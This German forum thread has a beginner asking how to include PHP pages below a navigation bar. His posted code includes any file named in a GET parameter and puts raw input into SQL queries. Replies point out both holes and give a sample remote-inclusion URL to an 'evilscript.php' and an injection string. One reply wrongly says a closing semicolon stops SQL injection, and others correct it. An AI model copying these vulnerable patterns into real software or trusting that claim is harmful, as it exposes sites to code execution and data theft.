includes statt Frames - Hilfe!

Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

  • includes statt Frames - Hilfe!

    Hallo,

    ich baue gerade eine Homepage MIT Forum zusammen. Jetzt habe ich die Datei index.php, welche nachher immer aufgerufen werden soll:

    Quellcode

    1. <?php
    2. include ("navi.php");
    3. if (isset($_GET['page'])) {
    4. $page=$_GET['page'] . ".php";
    5. include ($page);
    6. }
    7. ?>
    Alles anzeigen


    Keine Angst, dass ist nur ein Test, der Code wird nachher noch sicher gemacht. Mein Board verweist immer auf neue Dateien, will heißen es ruft immer mit GET die Dateien board.php subboard.php und post.php auf. Ich will, dass diese immer unterhalb der navi erscheinen, die ich in index.php ja ganz oben incude. Wie kann cih das machen?

    KageMurai
    Instant URL - just add Gamers!
  • KageMurai schrieb:

    ... will heißen es ruft immer mit GET die Dateien board.php subboard.php und post.php auf.

    Ich wil nur sicher gehen, dass du das falsch formuliert hast. Der HTTP GET Request heißt nicht post.php sondern index.php?page=post, oder?
    Desweiteren hast du das Board selber programmiert, oder?

    Dann versteh ich eigentlich gar nicht wo das Problem ist ;)
    Oben wird der Navi angezeigt. Unten der Foreninhalt....
  • Hallo,

    habe ich mich glaube ich nicht richtig ausgedrückt ^^ Sorry.

    Hier ein bisschen Code:

    index.php habt ihr ja gesehen. Navi.php soll dann die anderen Seiten aufrufen:

    Quellcode

    1. <div>
    2. <a href="index.php?page=home">Home</a>
    3. <a href="index.php?page=board">Board</a>
    4. </div>


    hier board.php:

    Quellcode

    1. <?php
    2. include("configs.php");
    3. $connection=mysql_connect($server,$user,$pass) or die (mysql_error());
    4. mysql_select_db("nedias",$connection) or die (mysql_error());
    5. $sql="SELECT * FROM boards";
    6. $ergebnis=mysql_query($sql,$connection) or die (mysql_error());
    7. print "<?xml version=\"1.0\" ?>";
    8. ?>
    9. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    10. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    11. <html xmlns="http://www.w3.org/1999/xhtml">
    12. <head>
    13. <title>nedias free webspace</title>
    14. <link rel="stylesheet" href="css/basic.css" type="text/css">
    15. <link rel="stylesheet" href="css/board.css" type="text/css">
    16. </head>
    17. <body>
    18. <?php
    19. echo "<table class='board'>";
    20. echo "<tr><td class='board'>Board</td>";
    21. echo "<td class='threads'>Threads</td>";
    22. echo "<td class='answer'>Antworten</td></tr>";
    23. while($row=mysql_fetch_assoc($ergebnis)) {
    24. $id=$row['board'];
    25. echo "<tr><td class='board'><a href=\"subboard.php?id=$id\">" . $row['board'] . "</a></td>";
    26. echo "<td class='threads'>" . $row['threads'] . "</td>";
    27. echo "<td class='answer'>" . $row['posts'] . "</td></tr>";
    28. }
    29. echo "</table>";
    30. ?>
    Alles anzeigen


    Und abschließend noch subboard.php:

    Quellcode

    1. <?php
    2. include("configs.php");
    3. $currentboard=$_GET['id'];
    4. $connection=mysql_connect($server,$user,$pass) or die (mysql_error());
    5. mysql_select_db("nedias",$connection) or die (mysql_error());
    6. $sql="SELECT * FROM threads WHERE in_board='$currentboard'";
    7. $ergebnis=mysql_query($sql,$connection) or die (mysql_error());
    8. print "<?xml version=\"1.0\" ?>";
    9. ?>
    10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    11. "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    12. <html xmlns="http://www.w3.org/1999/xhtml">
    13. <head>
    14. <title>nedias free webspace</title>
    15. <link rel="stylesheet" href="css/basic.css" type="text/css">
    16. <link rel="stylesheet" href="css/board.css" type="text/css">
    17. </head>
    18. <body>
    19. <table class="all"><tr><td class="thread">Thread</td><td class="answers">Antworten</td><td class="hits">Hits</td><td class="last_change">Last Change</td></tr>
    20. <?php
    21. while ($row=mysql_fetch_assoc($ergebnis)) {
    22. $id=$row['name'];
    23. echo "<tr><td class=\"thread2\"><a href=\"post.php?id=$id\">" . $row['name'] ."</td>";
    24. echo "<td class=\"answers2\">" . $row['answers'] . "</td>";
    25. echo "<td class=\"hits2\">" . $row['hits'] . "</td>";
    26. echo "<td class=\"last_change2\">" . $row['last_change'] . "</td></tr>";
    27. }
    28. echo "</table><br/>";
    29. echo "<table class=\"post_bottom\"><tr><td class=\"post_bottom_left\">";
    30. if(session_is_registered('username') || $_SESSION['username'] != "") {
    31. echo "<a href=\"newthread.php?id=$currentboard\">Neuen Thread eröffnen</a>"; } else {
    32. echo "Sie müssen sich einloggen, um Themen zu eröffnen!"; }
    33. echo "</td><td class=\"post_bottom_right\">";
    34. echo "<a href=\"javascript:history.back()\">zur&uuml;ck</a>";
    35. echo "</td></tr></table>";
    36. echo "</body></html>";
    37. mysql_free_result($ergebnis);
    38. mysql_close($connection);
    39. ?>
    Alles anzeigen


    Das Problem ist, dass wenn ich unten board.php aufgeführt habe der nicht weiß, dass der in einem "Frameset vorkommt" und deswegen sozusagen die neuen Seiten ohne navi.php oben lädt. Das ist das Problem!

    KageMurai
    Instant URL - just add Gamers!
  • Hmm - wusste gar nicht, dass das geht. Habe es jetzt versucht und mal folgendermaßen abgeändert:

    index.php:

    Quellcode

    1. <?php
    2. include ("navi.php");
    3. if (isset($_GET['page'])) {
    4. $page=$_GET['page'];
    5. include ($page);
    6. }
    7. ?>
    Alles anzeigen


    board.php(auszug):

    Quellcode

    1. echo "<tr><td class='board'><a href=\"index.php?page=subboard.php?id=$id\">" . $row['board'] . "</a></td>";


    navi.php:

    Quellcode

    1. <div>
    2. <a href="index.php?page=home.php">Home</a>
    3. <a href="index.php?page=board.php">Board</a>
    4. </div>


    Funktioniert aber nicht:

    Quellcode

    1. Home Board
    2. Warning: include(subboard.php?id=nedias) [function.include]: failed to open stream: Invalid argument in C:\xampp\htdocs\test\index.php on line 8
    3. Warning: include() [function.include]: Failed opening 'subboard.php?id=nedias' for inclusion (include_path='.;C:\xampp\php\pear\') in C:\xampp\htdocs\test\index.php on line 8


    Habe ich da irgendwas falsch verstanden???

    KageMurai
    Instant URL - just add Gamers!
  • KageMurai schrieb:

    Quellcode

    1. <?php
    2. include ("navi.php");
    3. if (isset($_GET['page'])) {
    4. $page=$_GET['page'];
    5. include ($page);
    6. }
    7. ?>
    Alles anzeigen


    Ich hoffe nicht, dass du den Code wirklich so vereinfacht verwendest. Falls doch, ist das eine riesige Sicherheitslücke, die du dringend schließen solltest. Theoretisch könnte jeder Mensch aus dem Internet durch index.php?page=test.php etc. jede x beliebige URL aufrufen. Selbst index.php?page=http://www.google.de wäre möglich. Folglich empfehle ich dir dringend, die Variable $_GET auf richtigen Inhalt zu überprüfen und dann eventuell das php auch erst im nachhinein dazu zu schreiben. Das sieht dann auch noch schöner aus. ;)
  • Das ist mir auch aufgefallen, da er aber geschrieben hat, dass das nur ein Test ist und er den Code noch sicher macht hab ich mir ein Kommentar verkniffen. Um auf die Gefahr einzugehen: Dadurch dass du alles includest was in der URL steht, kann ich eine Textdatei auf meinem Webserver packen in der beliebiger PHP Code steht und bei dir an die URL hinten dranhängen, der dann auf deinem Server inkludiert und ausgeführt wird (z.B. echo $_GLOBALS). Ich bekomm also sehr großzügige Rechte auf deiner Maschine mit denen viel Unsinn machen kann.
    ~ mfg SeBa

    Ich beantworte keine PMs zu Computer-/Programmierproblemen. Bitte wendet euch an das entsprechende Forum.

    [Blockierte Grafik: http://i.creativecommons.org/l/by-sa/3.0/80x15.png]
  • Genau das war mir auch aufgefallen... ;)

    Eine recht einfache Lösung dafür wäre:

    Quellcode

    1. switch ($_GET['page']) {
    2. case 'page1': include('page1.php'); break;
    3. case 'page2': include('page2.php'); break;
    4. default: include('home.php');


    Somit kann man durch index.php?page=http://www.expample.com/evilscript.php nicht mehr eigene Scripte einbinden.

    Ich hoffe mal, dass nicht noch mehr Sicherheitslücken in deinem Board zu finden sind, aber wenn du schon einen solchen Fehler machst, befürchte ich das Schlimmste... :(

    Auch solltest du deine MYSQL Statements am Ende schließen.

    Quellcode

    1. # aus diesem hier
    2. SELECT * FROM boards
    3. # mache lieber
    4. SELECT * FROM boards;
    5. # ausnutzen kann man dieses, wenn du z.b. dies hast
    6. SELECT * FROM posts WHERE threatid = $id
    7. # indem man einfach dieses übergibt: threat.php?id=5 JOIN evilstatement
    8. #Folge:
    9. SELECT * FROM posts WHERE threatid = 5 JOIN evilstatement
    Die Japaner glauben jetzt auch, sie könnten den Superrechner verkaufen. Das wäre
    so, als würde man einen Jumbo-Jet nehmen, vorne und hinten die Spitzen absägen,
    davon 10 Stück zusammenschweißen und als ultimativen Super-Jet verkaufen.
  • Hallo Max123,

    mal abgesehen davon, das KageMurai geschrieben hat, das er den Code zum Einbinden der Seiten so nicht einsetzten will (siehe aller erstes Posting), möchte ich kurz auf Deinen SQL-Tipp zu sprechen kommen:

    Max123 schrieb:


    Auch solltest du deine MYSQL Statements am Ende schließen.

    Quellcode

    1. # aus diesem hier
    2. SELECT * FROM boards
    3. # mache lieber
    4. SELECT * FROM boards;
    5. # ausnutzen kann man dieses, wenn du z.b. dies hast
    6. SELECT * FROM posts WHERE threatid = $id
    7. # indem man einfach dieses übergibt: threat.php?id=5 JOIN evilstatement
    8. #Folge:
    9. SELECT * FROM posts WHERE threatid = 5 JOIN evilstatement


    Wichtig ist, das übergebene Variablen entsprechend behandelt werden, um keine zusätzlichen SQL-Code einschleusen zu können.
    In Deinem Beispiel würde z.B. ein einfaches intval($id) genügen.

    Aber Erklär doch mal bitte, was das Semikolon an zusätzlicher Sicherheit bringen soll? Ich kann mir momentan kein SQL Statement vorstellen, wo es irgend was helfen würde. Auch in Deinem Beispiel bleibt mir der Nutzen, oder besser gesagt die zusätzliche Sicherheit, die das Semikolon darstellen soll verborgen. Aber man lernt ja nie aus...

    70abc
    We raise hopes, here ... until they're old enough to fend for themselves.
    - Mike Callahan
  • Unter de.wikipedia.org/wiki/SQL-Injektion#Vorgang findest du einige sehr interessante Beispiele.
    Aber das hatten wir schonmal in einem anderen Thread und d0nut hatte dort glaube ich eine gute Lösungsmöglichkeit für PHP5 gepostet.
    Die Japaner glauben jetzt auch, sie könnten den Superrechner verkaufen. Das wäre
    so, als würde man einen Jumbo-Jet nehmen, vorne und hinten die Spitzen absägen,
    davon 10 Stück zusammenschweißen und als ultimativen Super-Jet verkaufen.
  • In den Wikipediabeispielen wird kein Semikolon gesetzt vom Webseitenprogrammierer, aber jedesmal vom Hacker in sein Statement eingebunden. Wenn du deine SQL-Statements nun selber mit einem Semikolon abschließt kann der Hacker genauso vorgehen wie voher, nur dass er sein Statement nicht mehr mit einem Semikolon schließen muss, sondern das vom Webserver übernimmt. Selbst wenn er sein Statement mit einem Semikolon abschließt und das was da schon steht nicht auskommentiert, erzeugt er zwar einen SQL Fehler (falls lere Statements überhaupt verboten sind), aber seine Abfrage würde noch ausgeführt werden. Also egal wie ers macht, ich sehe darin nun wirklich keinen Unterschied.
    ~ mfg SeBa

    Ich beantworte keine PMs zu Computer-/Programmierproblemen. Bitte wendet euch an das entsprechende Forum.

    [Blockierte Grafik: http://i.creativecommons.org/l/by-sa/3.0/80x15.png]
  • Max123 schrieb:

    Unter de.wikipedia.org/wiki/SQL-Injektion#Vorgang findest du einige sehr interessante Beispiele.
    Aber das hatten wir schonmal in einem anderen Thread und d0nut hatte dort glaube ich eine gute Lösungsmöglichkeit für PHP5 gepostet.


    Hallo Max123,

    danke für den Link, aber wie auch schon SeBa geschrieben hat, bringt das abschliessen der SQL-Statemnts mit einem Semikolon nichts, die Beispiele würden auch alle funktionieren, wenn man die SQL-Statements mit einem Semikolon abschliessen würde.

    Das Semikolon dient ja lediglich dazu, mehrere SQL-Statements semantisch zu trennen. Eine SQL-Injection abwehren kann es nicht.

    70abc
    We raise hopes, here ... until they're old enough to fend for themselves.
    - Mike Callahan